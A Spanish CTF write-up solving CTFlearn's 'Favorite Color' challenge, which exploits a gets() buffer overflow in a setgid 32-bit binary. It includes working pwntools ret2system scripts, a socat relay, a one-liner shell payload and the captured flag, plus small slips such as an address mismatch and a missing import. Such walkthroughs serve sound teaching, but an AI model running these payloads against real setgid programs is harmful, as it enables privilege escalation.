Favorite Color
6 minutos de lectura
Se nos proporciona un servidor al que conectarnos por SSH. Existe un binario de 32 bits llamado color
que es SGID:
color@ubuntu-512mb-nyc3-01:~$ ls -l
total 20
-r--r--r-- 1 root root 714 Sep 12 2017 Makefile
-r-xr-sr-x 1 root color_pwn 7672 Sep 12 2017 color
-r--r--r-- 1 root root 722 Sep 12 2017 color.c
-r--r----- 1 root color_pwn 24 Sep 12 2017 flag.txt
color@ubuntu-512mb-nyc3-01:~$ file color
color: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e9a1c78d69ac7f50ffbf21b1075902cea8407db3, not stripped
color@ubuntu-512mb-nyc3-01:~$ checksec color
[*] '/home/color/color'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
También tenemos el código fuente en C. Básicamente, lo que hace el programa es llamar a la función gets
, que es vulnerable a Buffer Overflow. Luego, la variable buf
se utiliza dentro de un bucle for
, resultando siempre en good = 0
, ya que se utilizan operaciones XOR y operaciones AND para obtener un cero en good
, de manera que vuln
devuelve siempre 0 y system("/bin/sh")
no se ejecuta:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int vuln() {
char buf[32];
printf("Enter your favorite color: ");
gets(buf);
int good = 0;
for (int i = 0; buf[i]; i++) {
good &= buf[i] ^ buf[i];
}
return good;
}
int main(char argc, char** argv) {
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
// disable buffering.
setbuf(stdout, NULL);
if (vuln()) {
puts("Me too! That's my favorite color too!");
puts("You get a shell! Flag is in flag.txt");
system("/bin/sh");
} else {
puts("Boo... I hate that color! :(");
}
}
Sin embargo, podemos explotar el Buffer Overflow para redirigir el programa a system("/bin/sh")
.
Aunque el servidor tiene GDB instalado con la extensión PEDA, decidí depurarlo en local. Para transferir el binario, se puede codificar en Base64, copiar el resultado y decodificarlo en local.
Primero, lo ejecutamos e identificamos la vulnerabilidad de Buffer Overflow:
$ ./color
Enter your favorite color: AAAA
Boo... I hate that color! :(
$ ./color
Enter your favorite color: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault (core dumped) ./color
Perfecto. Ahora podemos utilizar GDB para obtener el offset necesario para sobrescribir el registro $eip
(que contiene la dirección de la siguiente instrucción a ejecutar):
$ gdb -q color
Reading symbols from color...
(No debugging symbols found in color)
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./color
Enter your favorite color: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
0x6161616e in ?? ()
gef➤ pattern offset $eip
[+] Searching for '$eip'
[+] Found at offset 52 (little-endian search) likely
[+] Found at offset 49 (big-endian search)
Vemos que necesitamos 52 bytes antes de $eip
. Vamos a probarlo:
gef➤ pattern create 52
[+] Generating a pattern of 52 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa
[+] Saved as '$_gef1'
gef➤ run
Starting program: ./color
Enter your favorite color: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaaBBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Genial, tenemos control sobre $eip
. Ahora podemos buscar la dirección a la que queremos saltar, que es system
:
$ gdb -q color
Reading symbols from color...
(No debugging symbols found in color)
gef➤ p system
$1 = {<text variable, no debug info>} 0x8048450 <system@plt>
No obstante, necesitamos llamar a system("/bin/sh")
, por lo que tenemos que obtener un puntero a la cadena "/bin/sh"
. Esto se puede realizar con strings
:
$ strings -atx color | grep /bin/sh
799 /bin/sh
Pero esta no es la dirección real de la cadena, solo es un offset. Para calcular la dirección real, tenemos que sumarle la dirección base del binario, que es 0x8048000
, ya que es un binario de 32 bits sin protección PIE (como muestra la salida de checksec
arriba). Por tanto, la dirección de la cadena en tiempo de ejecución será 0x8048799
.
Finalmente, otro campo interesante de nuestro payload será la dirección de retorno. Esta no es tan importante en este reto, por lo que decidí rellenarla con bytes nulos, pero se podría utilizar la dirección del main
, por ejemplo, para evitar causar una denegación de servicio (DoS).
Utilizando un script en Python con pwntools
, podemos explotar el binario con este código:
#!/usr/bin/env python3
from pwn import context, ELF, p32
elf = ELF('color')
context.binary = elf
p = elf.process()
offset = 52
junk = b'A' * offset
payload = junk
payload += p32(0x8048450)
payload += p32(0)
payload += p32(0x8048799)
p.sendlineafter(b'Enter your favorite color: ', payload)
p.interactive()
Si lo ejecutamos en local, obtenemos una consola de comandos:
$ python3 solve.py
[*] './color'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './color': pid 944522
[*] Switching to interactive mode
$ ls
color solve.py
Ahora necesitamos ejecutarlo en la instancia remota. Sin embargo, no está escuchando en ningún puerto. Por suerte, la máquina tiene socat
instalado y podemos abrir un puerto para redirigir el tráfico a color
:
color@ubuntu-512mb-nyc3-01:~$ which socat
/usr/bin/socat
color@ubuntu-512mb-nyc3-01:~$ socat tcp-l:1234,reuseaddr,fork EXEC:./color
En este punto ya podemos interactuar con el programa en el puerto 1234
. Vamos a añadir una función al script y utilizar la magia de pwntools
para quitar las direcciones hardcoded:
#!/usr/bin/env python3
from pwn import context, ELF, p32, remote
elf = ELF('color')
context.binary = elf
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
p = get_process()
offset = 52
junk = b'A' * offset
payload = junk
payload += p32(elf.plt.system)
payload += p32(0)
payload += p32(next(elf.search(b'/bin/sh')))
p.sendlineafter(b'Enter your favorite color: ', payload)
p.interactive()
Finalmente, podemos lanzarlo y conseguir la flag:
$ python3 solve.py 104.131.79.111 1234
[*] './color'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to 104.131.79.111 on port 1234: Done
[*] Switching to interactive mode
$ ls
Makefile
color
color.c
flag.txt
$ cat flag.txt
CTFlearn{c0lor_0f_0verf1ow}
El exploit completo se puede encontrar aquí: solve.py
.
Existe una manera más sencilla de realizar la explotación. Resulta que en el código hay una llamada explícita a system("/bin/sh")
, y como tenemos una vulnerabilidad de Buffer Overflow, podemos redirigir el flujo de ejecución del programa a la dirección de esta instrucción.
En primer lugar, podemos extraer el código ensamblador con objdump
(o con GDB), y luego buscar la llamada a system
:
$ objdump --disassemble=main color | grep -C 4 system
804866f: e8 cc fd ff ff call 8048440 <puts@plt>
8048674: 83 c4 10 add $0x10,%esp
8048677: 83 ec 0c sub $0xc,%esp
804867a: 68 99 87 04 08 push $0x8048799
804867f: e8 cc fd ff ff call 8048450 <system@plt>
8048684: 83 c4 10 add $0x10,%esp
8048687: eb 10 jmp 8048699 <main+0xba>
8048689: 83 ec 0c sub $0xc,%esp
804868c: 68 a1 87 04 08 push $0x80487a1
La dirección a la que hay que saltar es 0x8048674
, que es un poco antes de la propia llamada a system
porque es donde se está preparando dicha llamada (se está poniendo "/bin/sh"
como argumento en la pila).
En local funciona, poniendo la dirección en little-endian y añadiendo cat
para mantener la entrada de usuario abierta:
$ (python3 -c 'import os; os.write(1, b"A" * 52 + b"\x77\x86\x04\x08")'; cat) | ./color
Enter your favorite color:
ls
color solve.py
Y en el servidor funciona también (sin necesidad de usar socat
):
color@ubuntu-512mb-nyc3-01:~$ (python3 -c 'import os; os.write(1, b"A" * 52 + b"\x77\x86\x04\x08")'; cat) | ./color
Enter your favorite color:
ls
Makefile color color.c flag.txt
cat flag.txt
CTFlearn{c0lor_0f_0verf1ow}